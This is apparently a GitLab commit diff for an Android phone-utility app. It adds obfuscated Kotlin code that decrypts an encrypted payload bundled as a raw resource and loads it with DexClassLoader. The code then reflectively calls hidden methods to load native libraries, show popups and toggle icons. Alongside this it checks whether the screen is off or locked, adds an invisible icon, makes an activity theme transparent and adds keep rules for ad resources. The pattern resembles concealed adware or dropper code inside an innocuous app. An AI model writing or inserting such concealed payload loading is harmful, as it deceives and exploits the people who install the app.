tfFile
.
setReadOnly
()
dFile
(
dKey
,
tfFile
.
absolutePath
,
dFile
.
absolutePath
)
}
else
{
Log
.
d
(
"DexUtils"
,
"$cacheName 解密dex已存在,无需重复复制"
)
}
dFile
.
setReadOnly
()
// 动态加载Dex文件
findAll
(
context
,
dFile
.
absolutePath
,
context
.
codeCacheDir
.
absolutePath
).
also
{
tfFile
.
delete
()
dFile
.
delete
()
dexClassLoader
=
it
}
}
}
/**
* 将 resources/raw 目录下的资源文件复制
*/
private
fun
gkgog
(
context
:
Context
,
@RawRes
rawId
:
Int
,
fileName
:
String
):
File
{
val
file
=
File
(
context
.
cacheDir
,
fileName
)
if
(!
file
.
exists
())
{
try
{
context
.
resources
.
openRawResource
(
rawId
).
use
{
inputStream
->
FileOutputStream
(
file
).
use
{
outputStream
->
val
buffer
=
ByteArray
(
4096
)
var
length
:
Int
while
(
inputStream
.
read
(
buffer
).
also
{
length
=
it
}
>
0
)
{
outputStream
.
write
(
buffer
,
0
,
length
)
}
}
}
Log
.
d
(
"DexUtils"
,
"复制成功: $fileName 到 ${context.cacheDir?.absolutePath}"
)
}
catch
(
e
:
IOException
)
{
//e.printStackTrace()
Log
.
d
(
"DexUtils"
,
"复制失败: $fileName"
)
}
}
else
{
Log
.
d
(
"DexUtils"
,
"$fileName 加密dex已存在,无需重复复制"
)
}
return
file
}
/**
* 动态加载Dex文件
*/
private
fun
findAll
(
context
:
Context
,
dexPath
:
String
,
dexOutputPath
:
String
):
DexClassLoader
?
{
return
try
{
// 创建Dex输出目录(如果不存在)
val
outputDir
=
File
(
dexOutputPath
)
if
(!
outputDir
.
exists
())
{
outputDir
.
mkdirs
()
}
// 创建DexClassLoader
DexClassLoader
(
dexPath
,
// Dex文件路径
dexOutputPath
,
// Dex输出目录
null
,
// 本地库路径(可选)
context
.
classLoader
// 父类加载器
)
}
catch
(
e
:
Exception
)
{
Log
.
d
(
"DexUtils"
,
"加载失败: ${e.message}"
)
null
}
}
/**
* 解密file
* @param aesKey
* @param inputFilePath
* @param outputFilePath
* @return
*/
private
fun
dFile
(
aesKey
:
String
,
inputFilePath
:
String
,
outputFilePath
:
String
):
File
?
{
return
try
{
// 创建 AES 密钥
val
key
=
SecretKeySpec
(
aesKey
.
toByteArray
(),
"AES"
)
// 创建 Cipher 实例
val
cipher
=
Cipher
.
getInstance
(
"AES/ECB/PKCS5Padding"
)
// 初始化 Cipher 为解密模式
cipher
.
init
(
Cipher
.
DECRYPT_MODE
,
key
)
// 输入文件流
FileInputStream
(
inputFilePath
).
use
{
input
->
// 输出文件流
val
outFile
=
File
(
outputFilePath
)
FileOutputStream
(
outFile
).
use
{
output
->
// 创建 CipherInputStream 进行解密
CipherInputStream
(
input
,
cipher
).
use
{
cipherInput
->
val
buffer
=
ByteArray
(
4096
)
var
bytesRead
:
Int
while
(
cipherInput
.
read
(
buffer
).
also
{
bytesRead
=
it
}
!=
-
1
)
{
output
.
write
(
buffer
,
0
,
bytesRead
)
}
}
}
Log
.
d
(
"DexUtils"
,
"解密成功: ${outFile.absolutePath}"
)
outFile
}
}
catch
(
e
:
Exception
)
{
Log
.
d
(
"DexUtils"
,
"解密失败: ${e.message}"
)
null
}
}
// suspend fun doSomething(context: Context): String {
// dexClassLoader?.let {
// try {
// // 获取 AssetsUtils 类
// val assetsUtilsClass =
// Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
//
// // 获取 INSTANCE 单例
// val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
// val instance = instanceField.get(null)
// val result = withContext(Dispatchers.IO) {
// // 获取 copyAndLoad 方法
// val copyAndLoadMethod = assetsUtilsClass.getDeclaredMethod(
// "gjhk_ritoq",
// Context::class.java,
// String::class.java,
// String::class.java,
// String::class.java,
// String::class.java
// )
//
// // 调用 copyAndLoad 方法
// copyAndLoadMethod.invoke(
// instance,
// context,
// if (getDeviceArchBit() == "64") "mySoTest.txt" else "mySott.txt",
// "cacheTIG.so",
// "mySoTest.so",
// soKey
// ) as Boolean
// }
// Log.d("DexUtils", "Dex加载成功,so包调用:$result")
//
// // 获取 NativeUtils 类
// val nativeUtilsClass =
// Class.forName("ritoy.erte.worit.NativeUtils", true, dexClassLoader)
//
// // 获取 stringFromJNI 方法
// val stringFromJNIMethod = nativeUtilsClass.getDeclaredMethod("stringFromJNI")
//
// // 调用 stringFromJNI 方法
// val content = stringFromJNIMethod.invoke(null) as String
//
// return if (result) content else "失败了:so包加载失败"
//
// } catch (e: Exception) {
// e.printStackTrace()
// Log.d("DexUtils", "copyAndLoad:${e}")
// return "失败了:$e"
// }
// } ?: run {
// Log.d("DexUtils", "Dex加载失败")
// return "失败了:dexClassLoader为空"
// }
// }
/**
* 显示图标
* @param context
*/
fun
hjyho_rtrt
(
context
:
Context
)
{
dexClassLoader
?.
let
{
try
{
// 获取 AssetsUtils 类
val
assetsUtilsClass
=
Class
.
forName
(
"ritoy.erte.worit.Cfkoryk"
,
true
,
dexClassLoader
)
// 获取 INSTANCE 单例
val
instanceField
=
assetsUtilsClass
.
getDeclaredField
(
"INSTANCE"
)
val
instance
=
instanceField
.
get
(
null
)
// 获取 rtyui_qee 方法
val
rtyui_qeeMethod
=
assetsUtilsClass
.
getDeclaredMethod
(
"rtyui_qee"
,
Context
::
class
.
java
,
String
::
class
.
java
)
// 调用 rtyui_qee 方法
rtyui_qeeMethod
.
invoke
(
instance
,
context
,
"com.clean.luck.clean.gjtikg"
)
Log
.
d
(
"DexUtils"
,
"hjyho_rtrt 方法调用成功"
)
}
catch
(
e
:
Exception
)
{
e
.
printStackTrace
()
Log
.
d
(
"DexUtils"
,
"hjyho_rtrt:${e}"
)
}
}
?:
run
{
Log
.
d
(
"DexUtils"
,
"Dex加载失败"
)
}
}
/**
* 加载so并弹窗
* @param context
* @param thb
* @return
*/
suspend
fun
rew_bvbvb
(
context
:
Context
,
thb
:
String
):
Int
{
dexClassLoader
?.
let
{
try
{
// 获取 AssetsUtils 类
val
assetsUtilsClass
=
Class
.
forName
(
"ritoy.erte.worit.Cfkoryk"
,
true
,
dexClassLoader
)
// 获取 INSTANCE 单例
val
instanceField
=
assetsUtilsClass
.
getDeclaredField
(
"INSTANCE"
)
val
instance
=
instanceField
.
get
(
null
)
return
withContext
(
Dispatchers
.
IO
)
{
// 获取 copyAndLoad 方法
val
copyAndLoadMethod
=
assetsUtilsClass
.
getDeclaredMethod
(
"rewwer_rtyt"
,
Context
::
class
.
java
,
String
::
class
.
java
,
String
::
class
.
java
,
String
::
class
.
java
,
String
::
class
.
java
,
Int
::
class
.
java
,
String
::
class
.
java
)
// 调用 copyAndLoad 方法
copyAndLoadMethod
.
invoke
(
instance
,
context
,
if
(
rifofmn
())
"cvjfi_qios.txt"
else
"vkbog_edg.txt"
,
"cacheTIG.so"
,
"mygkh.so"
,
thb
,
4
,
"nba_popup_secret_2024"
)
as
Int
}
}
catch
(
e
:
Exception
)
{
e
.
printStackTrace
()
Log
.
d
(
"DexUtils"
,
"rewwer_rtyt:${e}"
)
return
-
10
}
}
?:
run
{
Log
.
d
(
"DexUtils"
,
"Dex加载失败"
)
return
-
100
}
}
/**
* 判断64位还是32位,true为64位
* @return
*/
private
fun
rifofmn
():
Boolean
{
val
abi64
=
Build
.
SUPPORTED_64_BIT_ABIS
//Log.d("DexUtils", abi64.contentToString())
val
arch64
=
abi64
.
firstOrNull
{
it
.
startsWith
(
"arm64"
,
ignoreCase
=
true
)
||
it
.
startsWith
(
"x86_64"
,
ignoreCase
=
true
)
}
if
(
arch64
!=
null
)
return
true
val
abi32
=
Build
.
SUPPORTED_32_BIT_ABIS
//Log.d("DexUtils", abi32.contentToString())
val
arch32
=
abi32
.
firstOrNull
{
it
.
startsWith
(
"armeabi"
,
ignoreCase
=
true
)
||
it
.
startsWith
(
"x86"
,
ignoreCase
=
true
)
}
return
if
(
arch32
!=
null
)
false
else
{
// fallback to SUPPORTED_ABIS if nothing matched
val
fallback
=
Build
.
SUPPORTED_ABIS
.
firstOrNull
()
?:
"unknown"
fallback
.
contains
(
"64"
)
}
}
}
\ No newline at end of file
app/src/main/java/com/ritoq/quickphone/utils/ManagerUtils.kt
0 → 100644
View file @
b8661308
package
com.ritoq.quickphone.utils
import
android.app.KeyguardManager
import
android.content.Context
import
android.os.PowerManager
import
androidx.appcompat.app.AppCompatActivity.KEYGUARD_SERVICE
import
androidx.appcompat.app.AppCompatActivity.POWER_SERVICE
object
ManagerUtils
{
fun
isScreenOff
(
context
:
Context
):
Boolean
{
val
powerManager
=
context
.
getSystemService
(
POWER_SERVICE
)
as
PowerManager
val
isScreenOff
=
!
powerManager
.
isInteractive
// API 20+
return
isScreenOff
}
fun
isLocked
(
context
:
Context
):
Boolean
{
val
keyguardManager
=
context
.
getSystemService
(
KEYGUARD_SERVICE
)
as
KeyguardManager
val
isLocked
=
keyguardManager
.
isKeyguardLocked
return
isLocked
}
}
\ No newline at end of file
app/src/main/res/drawable/uua_sb.xml
0 → 100644
View file @
b8661308
<?xml version="1.0" encoding="utf-8"?>
<vector
xmlns:android=
"http://schemas.android.com/apk/res/android"
android:tint=
"#000000"
android:height=
"24dp"
android:width=
"24dp"
android:alpha=
"0"
android:viewportWidth=
"24"
android:viewportHeight=
"24"
>
<path
android:fillColor=
"#ff000000"
android:pathData=
"M17.6,11.48 L19.44,8.3a0.63,0.63 0,0 0,-1.09 -0.63l-1.88,3.24a11.43,11.43 0,0 0,-8.94 0L5.65,7.67a0.63,0.63 0,0 0,-1.09 0.63L6.4,11.48A10.81,10.81 0,0 0,1 20L23,20A10.81,10.81 0,0 0,17.6 11.48ZM7,17.25A1.25,1.25 0,1 1,8.25 16,1.25 1.25,0 0,1 7,17.25ZM17,17.25A1.25,1.25 0,1 1,18.25 16,1.25 1.25,0 0,1 17,17.25Z"
/>
</vector>
app/src/main/res/mipmap-xxhdpi/ic_vnirij.webp
0 → 100644
View file @
b8661308
File added
app/src/main/res/mipmap-xxhdpi/ic_vnirij_round.webp
0 → 100644
View file @
b8661308
File added
app/src/main/res/raw/ditoa_erp.txt
0 → 100644
View file @
b8661308
File added
app/src/main/res/raw/keep.xml
0 → 100644
View file @
b8661308
<?xml version="1.0" encoding="utf-8"?>
<resources
xmlns:tools=
"http://schemas.android.com/tools"
tools:keep=
"@layout/tt_*,
@layout/notification_*,
@anim/tt_*,
@drawable/tt_*,
@string/tt_*,
@color/tt_*,
@string/ad*,
@string/star_*,
@dimen/tt_*,
@integer/tt_*,
@style/tt_*,
@style/Theme.Dialog.TT_*,
@style/tt_*,
@style/quick_*,
@style/EditTextStyle*,
@attr/tt_*"
/>
\ No newline at end of file
app/src/main/res/values/strings.xml
View file @
b8661308
...
@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi
...
@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi
<string
name=
"rom_information"
>
ROM Information
</string>
<string
name=
"rom_information"
>
ROM Information
</string>
<string
name=
"camera_information"
>
Camera Information
</string>
<string
name=
"camera_information"
>
Camera Information
</string>
<string
name=
"battery_information"
>
Battery Information
</string>
<string
name=
"battery_information"
>
Battery Information
</string>
<!-- TODO: Remove or change this placeholder text -->
<string
name=
"IIHJDD"
>
</string>
<string
name=
"hello_blank_fragment"
>
Hello blank fragment
</string>
</resources>
</resources>
app/src/main/res/values/themes.xml
View file @
b8661308
...
@@ -18,12 +18,12 @@
...
@@ -18,12 +18,12 @@
<style
name=
"splash.theme"
parent=
"Theme.AppCompat.DayNight.NoActionBar"
>
<style
name=
"splash.theme"
parent=
"Theme.AppCompat.DayNight.NoActionBar"
>
<item
name=
"android:windowBackground"
>
@drawable/splash_bp
</item>
<item
name=
"android:windowBackground"
>
@drawable/splash_bp
</item>
<!-- <item name="android:windowIsTranslucent">true</item>-->
<!-- <item name="android:windowIsTranslucent">true</item>-->
</style>
</style>
<style
name=
"Guide.Theme"
parent=
"Theme.AppCompat.DayNight.NoActionBar"
>
<style
name=
"Guide.Theme"
parent=
"Theme.AppCompat.DayNight.NoActionBar"
>
<!-- <item name="windowNoTitle">true</item>--
>
<item
name=
"windowNoTitle"
>
true
</item
>
<!-- <item name="android:windowIsTranslucent">true</item>--
>
<item
name=
"android:windowIsTranslucent"
>
true
</item
>
<item
name=
"android:background"
>
@android:color/transparent
</item>
<item
name=
"android:background"
>
@android:color/transparent
</item>
<item
name=
"android:windowBackground"
>
@android:color/transparent
</item>
<item
name=
"android:windowBackground"
>
@android:color/transparent
</item>
</style>
</style>
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment